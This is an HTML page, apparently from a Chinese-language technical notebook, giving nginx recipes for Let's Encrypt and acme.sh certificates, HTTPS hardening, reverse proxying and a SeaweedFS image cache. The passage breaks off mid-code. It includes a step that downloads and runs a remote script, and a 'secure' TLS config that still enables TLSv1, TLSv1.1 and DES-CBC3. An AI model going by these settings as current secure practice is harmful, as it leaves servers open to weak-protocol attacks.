href=\"#lets-encrypthttps\" title=\"Permanent link\">&para;</a></h2>\n<p>为简化操作，我写了一个更加方便的<a href=\"../code/getcert.py\">getcert.py</a></p>\n<h3 id=\"_1\">使用方法：<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h3>\n<h4 id=\"_2\">第一步：<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h4>\n<p>配置相应网站的nginx conf中的server里面，加入这个：</p>\n<div class=\"codehilite\"><pre><span></span><code>    location /.well-known/acme-challenge {\n        alias 保存密钥的目录;\n        try_files $uri =404;\n    }\n</code></pre></div>\n\n<p>记得运行后 <code>nginx -s reload</code></p>\n<h4 id=\"getcertpy\">第二步，运行我的getcert.py（创建私钥并提交申请）：<a class=\"headerlink\" href=\"#getcertpy\" title=\"Permanent link\">&para;</a></h4>\n<div class=\"codehilite\"><pre><span></span><code>pushd 上述保存密钥的目录\nwget https://raw.githubusercontent.com/zjuchenyuan/notebook/master/code/getcert.py\n./getcert.py 文件名称 该证书包含的域名列表\n</code></pre></div>\n\n<p>例如这样就能获得一张涵盖zjusec.com三个子域名的证书：<code>./getcert.py zjusec zjusec.com,www.zjusec.com,web.zjusec.com</code></p>\n<p>具体来说，这个脚本会自动下载需要的acme_tiny.py和Let&rsquo;s Encrypt的中间证书，调用openssl创建账号私钥和站点私钥，最终产生 <strong>名称.crt</strong> <strong>名称.key</strong>。</p>\n<p><img alt=\"https.jpg\" src=\"../download/img/https.jpg\" /></p>\n<h2 id=\"acmesh\">使用acme.sh获得泛域名证书<a class=\"headerlink\" href=\"#acmesh\" title=\"Permanent link\">&para;</a></h2>\n<p>泛域名解析需要使用DNS验证，就需要使用DNS服务的API，即使没有API只要配置一条CNAME指向一个有DNS API的域名即可</p>\n<p>首先获得acme.sh</p>\n<p>git clone https://github.com/Neilpang/acme.sh</p>\n<p>然后拿到cloudflare的API Key，托管b.com</p>\n<p>需要拿到能用于a.com和*.a.com的证书，先配置CNAME（参考：https://github.com/Neilpang/acme.sh/wiki/DNS-alias-mode）</p>\n<p>_acme-challenge.a.com   =&gt;   _acme-challenge.b.com</p>\n<p>执行命令咯：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">CF_Key</span><span class=\"o\">=</span><span class=\"n\">xxx</span><span class=\"w\"> </span><span class=\"n\">CF_Email</span><span class=\"o\">=</span><span class=\"n\">xxx</span><span class=\"nv\">@example</span><span class=\"p\">.</span><span class=\"n\">com</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">root</span><span class=\"o\">/</span><span class=\"n\">acme</span><span class=\"p\">.</span><span class=\"n\">sh</span><span class=\"o\">/</span><span class=\"n\">acme</span><span class=\"p\">.</span><span class=\"n\">sh</span><span class=\"w\"> </span><span class=\"c1\">--issue --dns dns_cf -d &#39;*.a.com&#39; --challenge-alias b.com -d a.com --dnssleep 10 --fullchain-file /root/acom.crt --key-file /root/acom.key -f</span>\n</code></pre></div>\n\n<p>解释：前面两个是配置环境变量，使用cloudflare所以指定&ndash;dns dns_cf，然后-d &hellip; &ndash;challenge-alias &hellip; -d &hellip; 指定域名和验证用的域名，&ndash;dnssleep 10等待10秒DNS生效（默认120秒没必要），&ndash;fullchain-file和&ndash;key-file 指定生成后把证书文件和密钥文件拷贝到哪</p>\n<h2 id=\"https\">配置安全的https<a class=\"headerlink\" href=\"#https\" title=\"Permanent link\">&para;</a></h2>\n<p>此处参考<a href=\"https://z.codes/ssl-lab-a-plus-configuration-for-nginx/\">https://z.codes/ssl-lab-a-plus-configuration-for-nginx/</a></p>\n<p>首先从PPA安装nginx, 这样可以保证最新版</p>\n<div class=\"codehilite\"><pre><span></span><code>add-apt-repository ppa:nginx/stable\napt update\napt install nginx\n</code></pre></div>\n\n<p>创建DH随机质数：</p>\n<div class=\"codehilite\"><pre><span></span><code>openssl dhparam -out /etc/ssl/dhparams.pem 2048\n</code></pre></div>\n\n<p>创建/etc/nginx/https.conf：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">listen</span><span class=\"w\"> </span><span class=\"mi\">443</span><span class=\"w\"> </span><span class=\"n\">ssl</span><span class=\"w\"> </span><span class=\"n\">http2</span><span class=\"p\">;</span>\n<span class=\"n\">add_header</span><span class=\"w\"> </span><span class=\"n\">Strict</span><span class=\"o\">-</span><span class=\"n\">Transport</span><span class=\"o\">-</span><span class=\"n\">Security</span><span class=\"w\"> </span><span class=\"ss\">&quot;max-age=31536000&quot;</span><span class=\"w\"> </span><span class=\"n\">always</span><span class=\"p\">;</span>\n<span class=\"n\">add_header</span><span class=\"w\"> </span><span class=\"n\">Upgrade</span><span class=\"o\">-</span><span class=\"n\">Insecure</span><span class=\"o\">-</span><span class=\"n\">Requests</span><span class=\"w\"> </span><span class=\"ss\">&quot;1&quot;</span><span class=\"p\">;</span>\n<span class=\"n\">add_header</span><span class=\"w\"> </span><span class=\"n\">Content</span><span class=\"o\">-</span><span class=\"n\">Security</span><span class=\"o\">-</span><span class=\"n\">Policy</span><span class=\"w\"> </span><span class=\"ss\">&quot;upgrade-insecure-requests&quot;</span><span class=\"p\">;</span>\n<span class=\"n\">ssl_dhparam</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">ssl</span><span class=\"o\">/</span><span class=\"n\">dhparams</span><span class=\"p\">.</span><span class=\"n\">pem</span><span class=\"p\">;</span>\n<span class=\"n\">ssl_stapling</span><span class=\"w\"> </span><span class=\"k\">on</span><span class=\"p\">;</span>\n<span class=\"n\">ssl_stapling_verify</span><span class=\"w\"> </span><span class=\"k\">on</span><span class=\"p\">;</span>\n<span class=\"n\">resolver</span><span class=\"w\"> </span><span class=\"mf\">8.8.8.8</span><span class=\"w\"> </span><span class=\"mf\">8.8.4.4</span><span class=\"w\"> </span><span class=\"mf\">114.114.114.114</span><span class=\"w\"> </span><span class=\"n\">valid</span><span class=\"o\">=</span><span class=\"mi\">60</span><span class=\"n\">s</span><span class=\"p\">;</span>\n<span class=\"n\">resolver_timeout</span><span class=\"w\"> </span><span class=\"mi\">2</span><span class=\"n\">s</span><span class=\"p\">;</span>\n<span class=\"n\">ssl_protocols</span><span class=\"w\"> </span><span class=\"n\">TLSv1</span><span class=\"w\"> </span><span class=\"n\">TLSv1</span><span class=\"mf\">.1</span><span class=\"w\"> </span><span class=\"n\">TLSv1</span><span class=\"mf\">.2</span><span class=\"p\">;</span>\n<span class=\"n\">ssl_ciphers</span><span class=\"w\"> </span><span class=\"s1\">&#39;ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA&#39;</span><span class=\"p\">;</span>\n<span class=\"n\">ssl_session_cache</span><span class=\"w\"> </span><span class=\"nl\">shared</span><span class=\"p\">:</span><span class=\"nl\">SSL</span><span class=\"p\">:</span><span class=\"mi\">10</span><span class=\"n\">m</span><span class=\"p\">;</span>\n<span class=\"n\">ssl_session_timeout</span><span class=\"w\"> </span><span class=\"mi\">24</span><span class=\"n\">h</span><span class=\"p\">;</span>\n<span class=\"n\">ssl_buffer_size</span><span class=\"w\"> </span><span class=\"mi\">1400</span><span class=\"p\">;</span>\n<span class=\"n\">ssl_prefer_server_ciphers</span><span class=\"w\">  </span><span class=\"k\">on</span><span class=\"p\">;</span>\n<span class=\"n\">keepalive_timeout</span><span class=\"w\"> </span><span class=\"mi\">600</span><span class=\"n\">s</span><span class=\"p\">;</span>\n<span class=\"n\">location</span><span class=\"w\"> </span><span class=\"o\">~*</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"err\">\\</span><span class=\"p\">.(</span><span class=\"vm\">?</span><span class=\"err\">!</span><span class=\"n\">well</span><span class=\"o\">-</span><span class=\"n\">known</span><span class=\"err\">\\</span><span class=\"o\">/</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">    </span><span class=\"k\">deny</span><span class=\"w\"> </span><span class=\"ow\">all</span><span class=\"p\">;</span>\n<span class=\"err\">}</span>\n<span class=\"n\">location</span><span class=\"w\"> </span><span class=\"o\">~*</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"vm\">?</span><span class=\"err\">:\\</span><span class=\"p\">.(</span><span class=\"vm\">?</span><span class=\"err\">:</span><span class=\"n\">bak</span><span class=\"o\">|</span><span class=\"n\">conf</span><span class=\"o\">|</span><span class=\"n\">dist</span><span class=\"o\">|</span><span class=\"n\">fla</span><span class=\"o\">|</span><span class=\"ow\">in</span><span class=\"o\">[</span><span class=\"n\">ci</span><span class=\"o\">]|</span><span class=\"nf\">log</span><span class=\"o\">|</span><span class=\"n\">psd</span><span class=\"o\">|</span><span class=\"n\">sh</span><span class=\"o\">|</span><span class=\"k\">sql</span><span class=\"o\">|</span><span class=\"n\">sw</span><span class=\"o\">[</span><span class=\"n\">op</span><span class=\"o\">]</span><span class=\"p\">)</span><span class=\"o\">|~</span><span class=\"p\">)</span><span class=\"err\">$</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">    </span><span class=\"k\">deny</span><span class=\"w\"> </span><span class=\"ow\">all</span><span class=\"p\">;</span>\n<span class=\"err\">}</span>\n<span class=\"k\">include</span><span class=\"w\"> </span><span class=\"n\">mime</span><span class=\"p\">.</span><span class=\"n\">types</span><span class=\"p\">;</span>\n</code></pre></div>\n\n<p>为需要启用https的站点，在/etc/nginx/sites-enabled/中写入conf文件</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">server</span><span class=\"w\"> </span>{\n<span class=\"w\">    </span><span class=\"nv\">listen</span><span class=\"w\"> </span><span class=\"mi\">443</span><span class=\"c1\">;</span>\n<span class=\"w\">    </span><span class=\"nv\">server_name</span><span class=\"w\"> </span>域名<span class=\"mi\">1</span><span class=\"w\"> </span>域名<span class=\"mi\">2</span><span class=\"c1\">;</span>\n<span class=\"w\">    </span><span class=\"nv\">access_log</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">tmp</span><span class=\"o\">/</span><span class=\"nv\">access</span>.<span class=\"nv\">log</span><span class=\"c1\">;</span>\n<span class=\"w\">    </span><span class=\"nv\">error_log</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">tmp</span><span class=\"o\">/</span><span class=\"nv\">error</span>.<span class=\"nv\">log</span><span class=\"c1\">;</span>\n<span class=\"w\">    </span><span class=\"nv\">ssl_certificate</span><span class=\"w\"> </span>密钥目录<span class=\"o\">/</span>名称.<span class=\"nv\">crt</span><span class=\"c1\">;</span>\n<span class=\"w\">    </span><span class=\"nv\">ssl_certificate_key</span><span class=\"w\"> </span>密钥目录<span class=\"o\">/</span>名称.<span class=\"nv\">key</span><span class=\"c1\">;</span>\n<span class=\"w\">    </span><span class=\"k\">include</span><span class=\"w\"> </span><span class=\"nv\">https</span>.<span class=\"nv\">conf</span>\n<span class=\"w\">    </span>其他配置。。。\n}\n</code></pre></div>\n\n<h2 id=\"js\">反向代理之替换网页、JS中的文本<a class=\"headerlink\" href=\"#js\" title=\"Permanent link\">&para;</a></h2>\n<p>使用模块ngx_http_substitutions_filter_module，见Github: https://github.com/yaoweibin/ngx_http_substitutions_filter_module</p>\n<p>需要重新编译nginx，Tip: <code>nginx -V</code>命令可以显示当前版本的nginx的编译参数</p>\n<p>编译后就可以用啦，举个例子：微信的公众号文章页面为了节省用户流量，图片是把页面滚动至所在位置才加载的，代码上的差异就是img标签本应是src的改成了data-src，这里我们要做一个微信的反向代理网站，把data-src替换成src，则可以直接加载所有图片（唔。。。其实还不够，还需要考虑防盗链的问题）；并且设置MIME类型包含Javascript</p>\n<div class=\"codehilite\"><pre><span></span><code>        subs_filter 需要替换掉的内容 替换后的文本;\n        subs_filter data-src src;\n        subs_filter_types application/x-javascript text/javascript appliation/x-javascript;\n</code></pre></div>\n\n<h2 id=\"git\">禁止git目录访问<a class=\"headerlink\" href=\"#git\" title=\"Permanent link\">&para;</a></h2>\n<p>在server块中添加：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">location</span><span class=\"w\"> </span><span class=\"o\">~</span><span class=\"w\"> </span><span class=\"o\">/</span>\\.<span class=\"w\"> </span>{\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"mi\">404</span><span class=\"c1\">;</span>\n}\n</code></pre></div>\n\n<p>相应的Apache可以在httpd.conf中添加：</p>\n<div class=\"codehilite\"><pre><span></span><code>RedirectMatch 404 /\\.git\n</code></pre></div>\n\n<h2 id=\"rootalias\">root与alias的区别<a class=\"headerlink\" href=\"#rootalias\" title=\"Permanent link\">&para;</a></h2>\n<p>From: http://stackoverflow.com/questions/10631933/nginx-static-file-serving-confusion-with-root-alias</p>\n<p>一句话概括，root对应的目录会加上location部分去找文件，而alias则不会</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"w\">        </span><span class=\"n\">location</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">static</span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"n\">root</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">var</span><span class=\"o\">/</span><span class=\"n\">www</span><span class=\"o\">/</span><span class=\"n\">app</span><span class=\"o\">/</span><span class=\"k\">static</span><span class=\"o\">/</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"n\">autoindex</span><span class=\"w\"> </span><span class=\"n\">off</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n</code></pre></div>\n\n<p>如果我们这么写，那么访问static目录下的a.jpg就会去找/var/www/app/static/static目录下的a.jpg，如果没有这个static/static就会404</p>\n<p>解决方法有两种：</p>\n<p>如果location中的static就是真实目录，root中就不要写static了</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"w\">        </span><span class=\"n\">location</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">static</span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"n\">root</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">var</span><span class=\"o\">/</span><span class=\"n\">www</span><span class=\"o\">/</span><span class=\"n\">app</span><span class=\"o\">/</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"n\">autoindex</span><span class=\"w\"> </span><span class=\"n\">off</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n</code></pre></div>\n\n<p>或者用alias就不会再加上location的部分：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"w\">        </span><span class=\"n\">location</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">static</span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"n\">alias</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">var</span><span class=\"o\">/</span><span class=\"n\">www</span><span class=\"o\">/</span><span class=\"n\">app</span><span class=\"o\">/</span><span class=\"k\">static</span><span class=\"o\">/</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"n\">autoindex</span><span class=\"w\"> </span><span class=\"n\">off</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"bash-on-win10nginx\">在bash on win10上使用Nginx<a class=\"headerlink\" href=\"#bash-on-win10nginx\" title=\"Permanent link\">&para;</a></h2>\n<p>与Linux中安装类似，只要<code>apt-get install nginx</code>即可，但可能会发现nginx并不正常工作，日志中是这样的：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">[</span><span class=\"n\">alert</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"mi\">79</span><span class=\"n\">#0</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"n\">ioctl</span><span class=\"p\">(</span><span class=\"n\">FIOASYNC</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">failed</span><span class=\"w\"> </span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"n\">spawning</span><span class=\"w\"> </span><span class=\"ss\">&quot;worker process&quot;</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"mi\">22</span><span class=\"err\">:</span><span class=\"w\"> </span><span class=\"n\">Invalid</span><span class=\"w\"> </span><span class=\"n\">argument</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>解决方案：在/etc/nginx/nginx.conf中添加一行：</p>\n<div class=\"codehilite\"><pre><span></span><code>master_process off;\n</code></pre></div>\n\n<hr />\n<h2 id=\"ip\">使上一级服务知道用户IP<a class=\"headerlink\" href=\"#ip\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>proxy_set_header realip $remote_addr;\n</code></pre></div>\n\n<p>这样设置后，Nginx反向代理上一级服务会加上realip这个头，从而传递用户真实的IP（如果是代理则是代理的IP）</p>\n<hr />\n<h2 id=\"nginx_2\">Nginx允许列目录<a class=\"headerlink\" href=\"#nginx_2\" title=\"Permanent link\">&para;</a></h2>\n<p>加上<code>autoindex on</code>即可，后两项是为了 显示服务器时间而不是GMT时间 以及 以kB,MB,GB为单位显示大小而不是确切的字节数</p>\n<div class=\"codehilite\"><pre><span></span><code>location / {\n    autoindex on;\n    autoindex_localtime on;\n    autoindex_exact_size off;\n}\n</code></pre></div>\n\n<hr />\n<h2 id=\"seaweedfs\">安全地使用SeaweedFS作为图片反向代理服务器<a class=\"headerlink\" href=\"#seaweedfs\" title=\"Permanent link\">&para;</a></h2>\n<p>想基于seaweedfs实现一个反向代理的缓存服务器，Nginx先请求A服务器(weedfs filer)，如果还没有存下这张图片(返回404)，切至B服务器(Python flask)去爬取图片并传至weedfs存储</p>\n<p>seaweedfs的filer提供了按自己指定的路径上传下载功能（对象存储），就不需要再自己考虑怎么存储path与fid的对应关系了，直接按爬取源的路径存储即可</p>\n<p>实现：</p>\n<h3 id=\"nginx_3\">Nginx配置<a class=\"headerlink\" href=\"#nginx_3\" title=\"Permanent link\">&para;</a></h3>\n<h4 id=\"httpupstream\">在http段中添加upstream<a class=\"headerlink\" href=\"#httpupstream\" title=\"Permanent link\">&para;</a></h4>\n<p>注意把B服务器设置为backup 不要参与默认负载均衡</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">upstream</span><span class=\"w\"> </span><span class=\"nt\">up</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"err\">server</span><span class=\"w\"> </span><span class=\"n\">weedfs</span><span class=\"p\">:</span><span class=\"mi\">8888</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"err\">server</span><span class=\"w\"> </span><span class=\"err\">127.0.0.1:80</span><span class=\"w\"> </span><span class=\"err\">backup</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h4 id=\"server\">server段配置<a class=\"headerlink\" href=\"#server\" title=\"Permanent link\">&para;</a></h4>\n<p>我希望访问<code>/images/hhh.jpg</code>实际访问<code>http://weedfs:8888/my_images/hhh.jpg</code></p>\n<p>关键就是<code>proxy_next_upstream</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">location</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nt\">images</span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"err\">rewrite</span><span class=\"w\"> </span><span class=\"err\">^/images(/.*)$</span><span class=\"w\"> </span><span class=\"err\">/my_images$1</span><span class=\"w\"> </span><span class=\"err\">break</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"err\">proxy_pass</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">up</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"err\">proxy_next_upstream</span><span class=\"w\"> </span><span class=\"err\">http_404</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"err\">proxy_hide_header</span><span class=\"w\"> </span><span class=\"err\">Content-Type</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"err\">add_header</span><span class=\"w\"> </span><span class=\"err\">Content-Type</span><span class=\"w\"> </span><span class=\"err\">image/jpeg</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"err\">limit_except</span><span class=\"w\"> </span><span class=\"err\">GET</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">                </span><span class=\"err\">deny</span><span class=\"w\"> </span><span class=\"err\">all</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"err\">}</span>\n</code></pre></div>\n\n<p>在seaweedfs返回404的时候会继续请求<code>http://127.0.0.1/my_images/hhh.jpg</code></p>\n<p>这种rewrite是不会修改POST的url的。。。就很迷，另外允许用户POST上传也是不安全的，这里就直接禁止了非GET方法</p>\n<h4 id=\"header\">修改后端特定header<a class=\"headerlink\" href=\"#header\" title=\"Permanent link\">&para;</a></h4>\n<p>这里用的是先删除<code>proxy_hide_header</code>再添加<code>add_header</code></p>\n<h4 id=\"nginxseaweedfs\">我还是想让nginx也能支持给seaweedfs上传文件<a class=\"headerlink\" href=\"#nginxseaweedfs\" title=\"Permanent link\">&para;</a></h4>\n<p>不要死磕一个location嘛，再配置个呗：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">location</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">upload_images</span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">rewrite</span><span class=\"w\"> </span><span class=\"o\">^/</span><span class=\"n\">upload_images</span><span class=\"p\">(</span><span class=\"o\">/.*</span><span class=\"p\">)</span><span class=\"o\">$</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">resolver</span><span class=\"w\"> </span><span class=\"mf\">127.0</span><span class=\"o\">.</span><span class=\"mf\">0.11</span><span class=\"w\"> </span><span class=\"n\">valid</span><span class=\"o\">=</span><span class=\"mi\">10</span><span class=\"n\">s</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">proxy_pass</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">weedfs</span><span class=\"p\">:</span><span class=\"mi\">8888</span><span class=\"o\">/</span><span class=\"n\">my_images</span><span class=\"o\">$</span><span class=\"mi\">1</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">allow</span><span class=\"w\"> </span><span class=\"mf\">127.0</span><span class=\"o\">.</span><span class=\"mf\">0.0</span><span class=\"o\">/</span><span class=\"mi\">8</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">deny</span><span class=\"w\"> </span><span class=\"n\">all</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>这样配置的效果是POST <code>/upload_images/</code>相当于在POST <code>http://weedfs:8888/my_images/</code></p>\n<p>与前述的GET配置是相同的后端路径，上传的文件（如<code>/123.jpg</code>）就传到了weedfs的<code>http://weedfs:8888/my_images/123.jpg</code>能通过<code>/images/123.jpg</code>访问到</p>\n<h4 id=\"proxy_passdns\">配置proxy_pass使用的DNS服务器<a class=\"headerlink\" href=\"#proxy_passdns\" title=\"Permanent link\">&para;</a></h4>\n<p>由于这个nginx是在Docker容器里面的，weedfs是另一个容器加入网络的时候指定的别名，所以注意上面的resolver设置为与容器/etc/resolv.conf一致的<code>127.0.0.11</code></p>\n<p>经过我测试，这个配置必须在location中才有效，放到http里面没用</p>\n<h3 id=\"docker-seaweedfs\">Docker 我使用的seaweedfs启动命令<a class=\"headerlink\" href=\"#docker-seaweedfs\" title=\"Permanent link\">&para;</a></h3>\n<h4 id=\"filer\">编译镜像 避免丢失filer数据<a class=\"headerlink\" href=\"#filer\" title=\"Permanent link\">&para;</a></h4>\n<p>首先需要自己编译一个Docker镜像，默认的镜像会把filer的leveldb数据存储在根目录，删除容器就会丢失这部分数据</p>\n<p>参见：https://github.com/chrislusf/seaweedfs/blob/master/docker/</p>\n<p><code>filer.toml</code>:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">[leveldb]</span>\n<span class=\"na\">enabled</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">true</span>\n<span class=\"na\">dir</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;/data/filer/&quot;</span>\n</code></pre></div>\n\n<p><code>Dockerfile</code>:</p>\n<div class=\"codehilite\"><pre><span></span><code>FROM chrislusf/seaweedfs\nCOPY filer.toml /etc/seaweedfs/filer.toml\n</code></pre></div>\n\n<h4 id=\"_3\">启动命令<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h4>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">docker</span><span class=\"w\"> </span><span class=\"nv\">run</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">dit</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">name</span><span class=\"w\"> </span><span class=\"nv\">weedfs</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">restart</span><span class=\"o\">=</span><span class=\"nv\">always</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">user</span><span class=\"w\"> </span><span class=\"nv\">nobody</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">v</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">data</span><span class=\"o\">/</span><span class=\"nv\">weedfs</span>:<span class=\"o\">/</span><span class=\"nv\">data</span><span class=\"w\"> </span><span class=\"nv\">myweed</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">log_dir</span><span class=\"o\">=/</span><span class=\"nv\">data</span><span class=\"o\">/</span><span class=\"nv\">logs</span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"nv\">server</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">dir</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">data</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">filer</span><span class=\"o\">=</span><span class=\"nv\">true</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">filer</span>.<span class=\"nv\">disableDirListing</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">volume</span>.<span class=\"nv\">publicUrl</span><span class=\"o\">=</span><span class=\"nv\">weedfs</span>.<span class=\"nv\">py3</span>.<span class=\"nv\">io</span>\n\n<span class=\"nv\">docker</span><span class=\"w\"> </span><span class=\"nv\">network</span><span class=\"w\"> </span><span class=\"k\">connect</span><span class=\"w\"> </span><span class=\"nv\">useweed</span><span class=\"w\"> </span><span class=\"nv\">weedfs</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">alias</span><span class=\"w\"> </span><span class=\"nv\">weedfs</span>\n</code></pre></div>\n\n<p>建议在测试的时候不要用<code>-filer.disableDirListing</code>选项，可以列目录来看看到底上传到哪了：<code>curl  -H \"Accept: application/json\" \"http://weedfs:8888/my_images/?pretty=y\"</code></p>\n<p>另外注意启动前创建文件夹和配置权限：（不要以为人家会给你创建目录）</p>\n<div class=\"codehilite\"><pre><span></span><code>mkdir -p /data/weedfs/logs/\nmkdir -p /data/weedfs/filer/\nsudo chown -R nobody /data/weedfs\n</code></pre></div>\n\n<h3 id=\"b\">B服务器的实现<a class=\"headerlink\" href=\"#b\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">TARGET_SERVER</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;http://images.example.com/&quot;</span>\n<span class=\"n\">WEEDFS_FILER_ENDPOINT</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;http://nginx/upload_images/&quot;</span>\n\n<span class=\"kn\">from</span> <span class=\"nn\">flask</span> <span class=\"kn\">import</span> <span class=\"n\">Flask</span><span class=\"p\">,</span> <span class=\"n\">Response</span>\n<span class=\"kn\">import</span> <span class=\"nn\">requests</span>\n<span class=\"kn\">import</span> <span class=\"nn\">io</span>\n<span class=\"n\">sess</span> <span class=\"o\">=</span> <span class=\"n\">requests</span><span class=\"o\">.</span><span class=\"n\">session</span><span class=\"p\">()</span>\n<span class=\"n\">app</span> <span class=\"o\">=</span> <span 